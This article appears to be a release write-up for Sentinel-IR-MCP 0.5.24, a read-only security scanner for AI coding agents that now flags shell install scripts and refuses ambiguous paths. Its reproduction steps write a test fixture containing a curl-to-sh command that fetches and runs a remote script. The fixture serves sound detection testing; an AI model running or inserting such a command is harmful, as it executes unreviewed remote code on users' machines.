Sentinel-IR-MCP 0.5.24: Safer AI Agent Code Scans14 min read2,884 words

Sentinel-IR-MCP 0.5.24: Safer AI Agent Code Scans

See what Sentinel-IR-MCP 0.5.24 changes: install scripts are analyzed, ambiguous paths are refused, and dangerous shell behavior can be flagged.

Sentinel-IR-MCP 0.5.24AI agent securityMCP server securityinstall script analysiscode security scanning
Sentinel-IR-MCP 0.5.24: Safer AI Agent Code Scans

Sentinel-IR-MCP 0.5.24: Why Install Scripts Now Get Scanned

An AI coding agent can inspect a project, suggest changes, and run tools. That means the code it encounters becomes part of the security boundary - not just the code it was explicitly asked to edit. An install script that downloads a remote file and pipes it straight into a shell is a good example: it can modify a machine before anyone has reviewed what it actually does.

Sentinel-IR-MCP sits between an agent and a project directory, so the agent can request read-only security analysis. In version 0.5.22, shell installers weren't supported file types. A directory scan could therefore show no critical findings while silently skipping the file most likely to contain the risky installation step. Versions 0.5.23 and 0.5.24 close that gap, along with improvements to path handling and the analysis engine underneath.

This article walks through what changed, why it matters for agent workflows, how to read the results, and how to reproduce the version comparison. The goal is practical: a security tool is only useful if it actually looks at the files that matter, treats project boundaries consistently, and reports risk without executing the code it inspects.

What changed in Sentinel-IR-MCP 0.5.23 and 0.5.24

This release pair improves two workflow pieces: which files the MCP server can analyze, and how it matches files when a project includes multiple folders. Version 0.5.24 also updates the underlying Sentinel-IR engine to the 0.5.21 line, bringing those analysis changes into the MCP server.

Version 0.5.24 adds install and configuration files

The MCP tools analyze_file and analyze_directory now include shell scripts, PowerShell, batch files, Ruby, Makefiles, configure, install, and Dockerfiles in the supported analysis scope. Before, asking the server to analyze install.sh could come back as an unsupported-file-type response. In that setup, a directory scan could omit the script entirely.

In the release comparison, the test install.sh contains a command that downloads a remote script and pipes it to sh. With version 0.5.24, the result is critical and the analysis is marked as incomplete; the language is reported as unknown, and the forbidden behavior is listed as pipe_to_shell. The response also includes a SHA-256 value for the file.

The point isn't that every install script is automatically dangerous. The point is that the file is no longer invisible to this analysis path. Once the scanner can flag the pattern, an agent or reviewer has a concrete reason to stop and inspect the script instead of treating "clean" as "everything was checked."

Version 0.5.23 improves path resolution and feedback

When the server is configured with several project folders, version 0.5.23 returns full paths in results and also lists the configured folders in allowedFolders. If a relative path could refer to files in more than one folder, the server refuses to guess. That's safer than silently picking "whichever one it finds first."

There are also smaller operational changes. An analyze_directory call without a path can identify the allowed folders, so a "Not found" response can tell the caller where to look. Empty code sent to analyze_code is refused instead of returning a misleading "complete" result with low risk. The audit log also stops recording the name of an excluded file just because an agent asked for it.

Other changes mentioned in the release include refusing repeated --project arguments during setup, removing several false warnings from the doctor command, and adjusting Windows command hints to use double quotes compatible with PowerShell and Command Prompt.

Why install-script coverage matters for AI agents

A static analysis result is only as useful as the files the tool actually examines. If a scanner supports application code but skips shell installers, a "clean" directory summary can create false confidence. In many repos, install and build files have real influence over what runs on a developer's machine and what gets deployed.

Agents can encounter risky code outside the main application

AI agents often operate across an entire repository: reading setup instructions, interpreting build targets, installing dependencies, or preparing a development environment. That means they can come across scripts that don't look like conventional source files. A project can include normal JavaScript or Python alongside a shell script that downloads and executes remote content.

The release notes describe a real-agent test where an agent independently ran sha256sum in a terminal while examining a project. That's initiative - and it highlights the boundary issue: once an agent starts deciding which commands to run, a read-only analysis tool isn't the only control in the loop anymore. The scanner should still provide useful evidence without requiring it to execute project code.

"Read-only" is a design property, not a blanket guarantee

Sentinel-IR-MCP is described as read-only: it analyzes files but does not run their contents. Its audit log is the stated write operation. That distinction reduces one class of risk, but it doesn't magically make every integration safe. The agent still needs appropriate filesystem permissions, and the project directory still has to be treated as untrusted input.

The practical value is narrower and clearer: the tool can inspect more relevant file types while keeping its non-execution model. For a pattern like curl ... | sh, it can flag the risky behavior for review without downloading or launching the remote script.

Coverage is part of the threat model

A solid security review asks two questions: "What did the tool find?" and "What did it not inspect?" In 0.5.22, the unsupported response made that limitation explicit for a direct file request. The directory-scan case is subtler: if unsupported files disappear from the scan, a low critical count can look like reassurance even though the scanner never actually checked the risky file.

Version 0.5.24 improves coverage by adding these file types - but coverage still isn't the same as understanding everything. The example shell script is reported as language: unknown with analysisStatus: incomplete. That matters. A critical finding is actionable evidence; an incomplete analysis is not a certification that all relevant behavior has been understood.

How path handling and analysis boundaries work

A security tool needs to be clear about which file it's analyzing. Ambiguous paths aren't just annoying when an agent can act on the result - they can undermine trust in the entire decision. If two allowed folders both contain common.js, and the tool picks one without telling the caller, the response becomes hard to rely on.

Multiple project folders require explicit identity

In version 0.5.23, results include full paths when multiple folders are configured. The tool also exposes the allowed folders through analyze_directory. If a relative path exists in more than one folder, the server refuses to resolve it by guesswork.

That behavior makes sense for agent-facing tools. Humans can often use context to infer which common.js they meant. An automated client may not have that context, and a plausible but wrong answer can be more dangerous than a clear error. Refusing ambiguity forces the caller to choose the intended location.

The same idea applies to the explicit . case. When several folders are present, using . can be refused. In a single-folder setup, it might be obvious what the current project means; with multiple roots, it isn't. The audit log distinguishes a scan without a supplied path by recording it as "(default)", instead of treating it as a literal path.

Folder boundaries remain part of the contract

The release keeps project boundaries enforced. Paths involving .., symlinks, and hard links remain refused, as do excluded files. These rules exist because path resolution is one way a request can escape the intended project scope or point at something different than the caller thinks it selected.

This isn't a substitute for operating-system isolation. If the agent process itself can access a user's home directory broadly, the MCP server can't "fix" that afterward. The boundary here is a tool-level restriction over configured project folders, meant to work alongside sensible permissions and a tightly scoped agent environment.

Better errors improve automation

A simple "Not found" can leave an agent guessing whether it used a typo, the wrong relative path, or a directory that isn't supported. In this release, a response points the caller toward analyze_directory without a path to list allowed folders. It's a small change, but it creates a clear next step instead of pushing the agent to probe the filesystem blindly.

Good error messages matter in agent workflows because they shape what happens next. A clear refusal can steer the agent toward a valid request; a vague failure often leads to repeated guesses or workarounds that weaken the security model.

How to interpret the security results

The main comparison runs the same project under versions 0.5.23 and 0.5.24. It includes a harmless index.js and an install.sh that pipes a downloaded script into a shell. The result shows a coverage change, not a change to the project itself.

The directory-level difference is the key evidence

Under version 0.5.23, asking directly for install.sh returns an unsupported-file-type response. A directory scan under 0.5.24 reports two files, including one critical and one low-risk result. Under 0.5.23, the scan reports only one file and zero critical findings.

That's why the shift from critical: 0 to critical: 1 matters. The earlier critical: 0 didn't mean the installer was checked and found harmless. It means the relevant file was outside the scanner's supported scope. A count without coverage information can easily look more reassuring than the underlying analysis warrants.

A critical finding is a prompt to review, not a verdict on intent

The pipe_to_shell finding identifies a risky execution pattern. It doesn't automatically prove that the downloaded content is malicious, or that the project maintainer intended harm. The practical concern is that the remote script can change over time, and the command executes it without a local review step.

A reasonable response is to inspect the installation flow end-to-end: whether the remote source is trusted, whether it's pinned, and what permissions the script would get. Depending on the project, safer options may include reviewing a versioned script before execution, verifying an expected hash or signature, or using a package manager with integrity controls. Those options come with trade-offs - pinning can complicate updates, and a hash only helps if you can obtain the expected value through a trustworthy channel.

Engine updates broaden the interpretation

Version 0.5.24 upgrades the MCP server's dependency to Sentinel-IR ^0.5.21. The release notes say findings from that engine version also apply through the MCP server, including whole-environment data sent over the network being classified as critical under env_exfiltration.

This matters because the MCP package is a bridge to the analysis engine, not a separate detector with a completely different ruleset. When evaluating a result, check both the MCP server behavior and the engine version it uses. For organizations, that dependency relationship belongs in release review and testing: a server update can change analysis outcomes even if the MCP tool interface looks the same.

Do not treat "incomplete" as "safe" or "failed" without context

In the example result, a critical finding appears alongside analysisStatus: incomplete and language: unknown. Read those together. The tool recognized a forbidden pattern in a file it couldn't fully characterize as a supported language. That's more informative than simply rejecting the file, but it still isn't the same as complete semantic analysis.

For a review workflow, record the finding, preserve the file hash, and have a person (or a suitable specialist) inspect the script. The hash identifies the exact file that was analyzed; it doesn't prove the file is safe. Likewise, a low or zero risk count should be interpreted alongside file coverage and scan status - not in isolation.

How to reproduce the version comparison

The release includes a small test setup that compares the two package versions through an MCP client. The goal is to verify the specific behavior change locally, using a controlled project rather than relying only on release-note summaries.

Create a minimal test project

The fixture needs two files: a simple JavaScript module and an installer containing the pattern under test. Use a disposable directory and don't execute the test installer. The analysis server reads it as input; the file contents are written to demonstrate why a pipe-to-shell rule matters.

mkdir sentinel-check && cd sentinel-check && npm init -y

npm i mcpold@npm:sentinel-ir-mcp@0.5.23 mcpnew@npm:sentinel-ir-mcp@0.5.24

mkdir proj

printf '#!/bin/sh\ncurl -fsSL https://example.com/i.sh | sh\n' > proj/install.sh

echo 'module.exports = 1;' > proj/index.js

The aliases let both versions live in the same test project under different package names. The script is a fixture for static analysis - running it would defeat the point of the comparison.

Call the MCP tools against both versions

Create an mcp.mjs file that launches each server as a standard-input/standard-output MCP process, connects a client, and requests both a direct file analysis and a directory analysis. The test prints the relevant risk data when the response is JSON.

import { Client } from "@modelcontextprotocol/sdk/client/index.js";

import { StdioClientTransport } from "@modelcontextprotocol/sdk/client/stdio.js";

for (const v of ["mcpold", "mcpnew"]) {

const transport = new StdioClientTransport({

command: process.execPath,

args: [`node_modules/${v}/bin/sentinel-ir-mcp.js`, "proj"],

stderr: "ignore"

});

const client = new Client({ name: "check", version: "1" });

await client.connect(transport);

for (const [tool, args] of [

["analyze_file", { path: "install.sh" }],

["analyze_directory", {}]

]) {

const text = (await client.callTool({

name: tool,

arguments: args

})).content[0].text;

let out = text;

try {

const j = JSON.parse(text);

out = JSON.stringify(

j.riskCounts ?? { risk: j.world?.risk, forbidden: j.forbidden }

);

} catch {}

console.log(v, tool, out);

}

await client.close();

}

The expected difference is that the older package refuses direct shell-script analysis and omits it from the directory result, while the newer package flags the pipe-to-shell behavior and includes the file in the scan. Exact response formatting can vary - compare supported-file behavior and risk information, rather than treating console output as a stable API contract.

Check the release evidence and its limits

The project reports 208 tests on the main branch at commit e0622a8: 205 passed, none failed, and three were skipped. The skipped tests run only on Windows; the release notes say GitLab CI runs them on Windows with Node 20, 22, and 24. Linux and Windows CI were green on the release tag, and the release reports verified npm signatures and provenance attestation.

There's still a meaningful limit to that evidence: the author hadn't yet tested version 0.5.24 with a real agent in a desktop client. Version 0.5.23 was tested with Cursor on Linux and VS Code with Copilot on macOS and Windows. Unit tests and CI give useful package-level confidence, but they don't prove how every desktop client handles the updated server. If that integration matters to your deployment, test it in your own client and operating-system combination before relying on the workflow.

Conclusion

Sentinel-IR-MCP 0.5.24 closes a practical visibility gap: installation and build scripts can now be included in analysis instead of disappearing behind an unsupported-file response. Version 0.5.23 also makes multi-folder path handling more explicit, while the updated engine pulls in additional findings into the MCP workflow.

The bigger lesson is that risk counts are only meaningful when you know what the tool examined, what it refused, and whether the analysis was complete. Use the updated file coverage, treat ambiguous paths as a hard stop, and test the desktop-agent integration you plan to deploy. That's a more reliable basis for trusting AI-assisted code review than a reassuring number without context.

Frequently Asked Questions

No. The server is described as read-only: it analyzes project files without running their code. The reported `pipe_to_shell` result identifies a risky command pattern; it does not download or execute the remote script during analysis.
It means the result should not be treated as a complete understanding of the file. In the release example, the server flags a known risky pattern while reporting the language as unknown. Review the script and the finding rather than interpreting an incomplete scan as a clean bill of health.
Version 0.5.23 does not analyze the test `install.sh`, so its directory result omits that file and reports zero critical findings. Version 0.5.24 adds shell-script analysis and detects the pipe-to-shell pattern, changing the directory result to one critical finding.
The release reports real-agent testing for version 0.5.23, including Cursor on Linux and VS Code with Copilot on macOS and Windows. Version 0.5.24 had not yet been tested with a real agent in a desktop client at publication, so validate that integration in your own environment.

Related articles